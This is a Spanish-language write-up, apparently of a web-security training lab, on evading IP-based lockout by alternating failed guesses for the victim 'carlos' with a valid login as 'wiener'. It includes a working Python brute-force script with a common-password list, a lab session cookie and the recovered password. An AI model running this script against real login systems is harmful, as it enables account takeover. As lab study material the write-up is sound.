> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/authentication/broken-brute-force-protection-ip-block.md).

# Protección antifuerza bruta rota con bloqueo basado en IP

### Protección antirfuerza bruta rota, bloqueo de IP

Este laboratorio tiene un fallo lógico en su protección contra ataques de fuerza bruta. / El objetivo es **fortalecer la contraseña de la víctima** y luego iniciar sesión en su cuenta.

* **Credenciales proporcionadas:** wiener / peter
* **Nombre de usuario de la víctima:** carlos

#### Observación del mecanismo de bloqueo

Probar varias combinaciones para el usuario carlos muestra que, después de **tres intentos incorrectos**, la aplicación muestra:

> *Has realizado demasiados intentos de inicio de sesión incorrectos. Vuelve a intentarlo en 1 minuto(s).*

El sitio, por lo tanto, aplica un **bloqueo basado en la dirección IP** después de varios fallos consecutivos.

<figure><img src="/files/f4c10a98916f1fbf701834a533df1012bbe2ca32" alt=""><figcaption></figcaption></figure>

### Evasión del bloqueo por IP

Para eludir esta protección, se aprovecha un fallo lógico:

* Enviamos **dos** intentos inválidos para carlos.

<figure><img src="/files/28fafc4426c20476798e19e382a0d01e50414015" alt=""><figcaption></figcaption></figure>

* En el **tercer** intento, enviamos una autenticación válida\*\*, pero con las credenciales de wiener: peter.
* Como esta conexión tiene éxito, el sistema \*\* restablece el contador de intentos\*\* para esta dirección IP.

### Script de Python utilizado

El siguiente script automatiza el ataque probando dos contraseñas para carlos y luego reinicia el contador mediante una conexión exitosa como wiener:

```python
import requests
import time

url = "https://0a19006903c3409a83f97eef000a00be.web-security-academy.net/login"
session_cookie = "7iUGnIrXGPogHTIfzuPfAC89Jel0jghh"

passwords = [
    "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234",
    "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football",
    "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321",
    "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx",
    "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1",
    "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer",
    "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000",
    "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars",
    "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper",
    "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777",
    "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua",
    "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea",
    "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin",
    "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring",
    "montana", "moon", "moscow"
]

session = requests.Session()

def login(username, password):
    headers = {'Cookie': f'session={session_cookie}'}
    data = {'username': username, 'password': password}
    return session.post(url, headers=headers, data=data, allow_redirects=False)

for i in range(0, len(passwords), 2):
    batch = passwords[i:i+2]

    for password in batch:
        print(f"Probando carlos:{password}")
        response = login("carlos", password)

        if response.status_code == 302:
            print(f"¡CONTRASEÑA ENCONTRADA! carlos:{password}")
            exit()

    if i + 2 < len(passwords):
        print("Reiniciando con wiener:peter")
        login("wiener", "peter")
        time.sleep(1)

print("Contraseña no encontrada")
```

La contraseña correcta de carlos descubierta mediante el ataque es:

> **michelle**

<figure><img src="/files/9a6201d74b5dde97a5ed7f7431be772e4fe58dd4" alt=""><figcaption></figcaption></figure>


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